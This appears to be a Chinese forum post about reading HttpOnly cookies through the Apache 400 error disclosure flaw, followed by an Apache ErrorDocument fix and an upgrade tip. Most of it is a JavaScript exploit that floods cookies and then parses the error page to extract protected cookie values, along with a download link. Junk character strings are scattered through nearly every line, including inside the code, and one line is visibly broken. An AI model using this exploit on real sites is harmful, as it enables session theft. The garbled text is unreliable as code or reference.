很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。/ @/ ]. J1 ^( ?. ]7 R7 a
( \( w- X2 W$ Z# k1 A' s
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:' O9 Y# v; R) Z3 }4 Z
1 x+ @' n% o6 }* _/ _: Q) |, w0 y2 G9 K$ \' W9 K2 I; }' D4 w
// http://www.exploit-db.com/exploits/18442/4 I& S0 k A& o e. I
function setCookies (good) {
; f* z2 e0 T1 K" V+ U8 [8 M' X// Construct string for cookie value8 e0 H$ \- W Z0 `
var str = "";
) g9 \. Q0 w. p+ _- ]' a3 Q# Ifor (var i=0; i< 819; i++) {; O) Y1 O9 A" g+ ^ `+ `# A0 z+ X
str += "x";
, j. |% z) { h2 q7 A* O$ u}" f" A" t# J( T
// Set cookies
* T0 R; C" L/ Dfor (i = 0; i < 10; i++) {
* [7 }( O, k- X# n( J0 G// Expire evil cookie
?% x6 z# g0 v) M7 d/ V" _if (good) {# L; F7 V7 J s# L' u9 {* ?; X6 ~$ p1 [
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
0 L; l, u0 ?: K' ]3 |}9 X5 c+ Q( \8 f+ {
// Set evil cookie
) B3 G4 a( G/ t; T) T. k- [else {! e) P8 C! n" j" O7 j7 t4 E( o
var cookie = "xss"+i+"="+str+";path=/";, c- `1 R8 p5 D
}+ \1 q+ J X; x4 W3 p3 m0 ^9 D
document.cookie = cookie;
% C4 v+ ?$ H! \3 J}
4 Z n0 Z4 q7 O}* q3 k$ Z. ~* e5 {
function makeRequest() {/ s' X& A7 X9 n: r4 ?
setCookies();2 A& M9 H. L% q/ Y
function parseCookies () {' G ~( G( i5 T+ }$ N
var cookie_dict = {};
5 X( ?0 K, y" k5 M: Y) O$ L// Only react on 400 status
0 P3 [# x0 H' [& {5 p3 v& ?if (xhr.readyState === 4 && xhr.status === 400) {. Q; _7 Z8 @0 S) B5 s
// Replace newlines and match <pre> content
. R* |. ?$ @% a7 dvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
+ ]2 T5 ?$ H* r. k- A# G8 r$ T% Cif (content.length) {
- X A3 Z @' Z [6 l% h// Remove Cookie: prefix
8 Y+ p# p) {) c0 O9 t3 bcontent = content[1].replace("Cookie: ", "");8 ~% n- ?( H# g8 H; [
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
$ \8 p b7 b$ R' I+ J( {+ I// Add cookies to object# N/ c9 j8 d) u6 W
for (var i=0; i<cookies.length; i++) {
6 K% p& _$ X4 Svar s_c = cookies.split('=',2);
& s' i, _3 v! @& T& j, Acookie_dict[s_c[0]] = s_c[1];
% ^/ d/ [% K l}' B" e5 |0 @, a: H
}
5 u- ?& r& t9 M+ v2 B5 V, H$ ?: t// Unset malicious cookies! d8 R% y" G" |
setCookies(true);
- w# d6 p& F, y' w$ n# }alert(JSON.stringify(cookie_dict));5 q& h5 K/ D1 }+ C3 E1 H
}$ I) s5 W6 C* q5 M
}. l% m& _* T2 Q3 M1 ], w6 o; j0 `& x! z
// Make XHR request6 e8 n0 F3 K4 g
var xhr = new XMLHttpRequest();; H- K. k) A( N
xhr.onreadystatechange = parseCookies;
" X6 L* C$ x! o. L7 b$ d1 Ixhr.open("GET", "/", true);
1 C2 e, t$ |0 w# S7 Jxhr.send(null);
* d- {4 k9 u, s}, S1 K( b' x3 E' P
makeRequest();6 i9 ^& M3 r. B9 ~0 f6 J
, z0 q( J. Q6 r, H你就能看见华丽丽的400错误包含着cookie信息。4 q Y2 P5 `+ X5 V* }' o
5 `! C( p0 i, S" w1 z2 m下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#0 T3 |6 \, H Q/ e7 p# H. T2 [
! h% A |! W( t修复方案: l: e8 r6 j, U
5 p* Z* x4 }) @2 u7 iApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
8 o( `+ T# {5 p
! g( ]. M$ I# q @5 }, ?In the event of a problem or error, Apachecan be configured to do one of four things,6 @8 B8 h) i! A/ ?% o" J P! }
5 s! X0 e4 }5 c" Z7 \* S* O
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- L% y8 G/ m; @+ q8 R* {' E2. output acustomized message输出一段信息
% V6 A2 `% u) r; P2 z& Q8 X. w7 E3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 6 ]; M9 G; s5 j& n
4. redirect to an external URL to handle theproblem/error转向一个外部URL
3 q: R# @. | v5 Q. \" N# e6 u) D1 b. F
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
1 N( k# v9 U3 j* R) i' m
: z& B7 y- _' yApache配置:
3 P F3 P8 u3 u$ A8 p2 ]: O) h& c$ q. V8 c
ErrorDocument400 " security test"
; j2 l" ^' p1 p/ ]
- r+ [; W; G' c7 o3 C当然,升级apache到最新也可:)。
% K5 ]1 ]- N8 G! K" S7 ]
! Q9 L' m5 j0 O参考:http://httpd.apache.org/security/vulnerabilities_22.html8 i. b% S# C5 j) c7 u
& T1 A# V" e- Z- U# M; f1 T* I6 I8 u |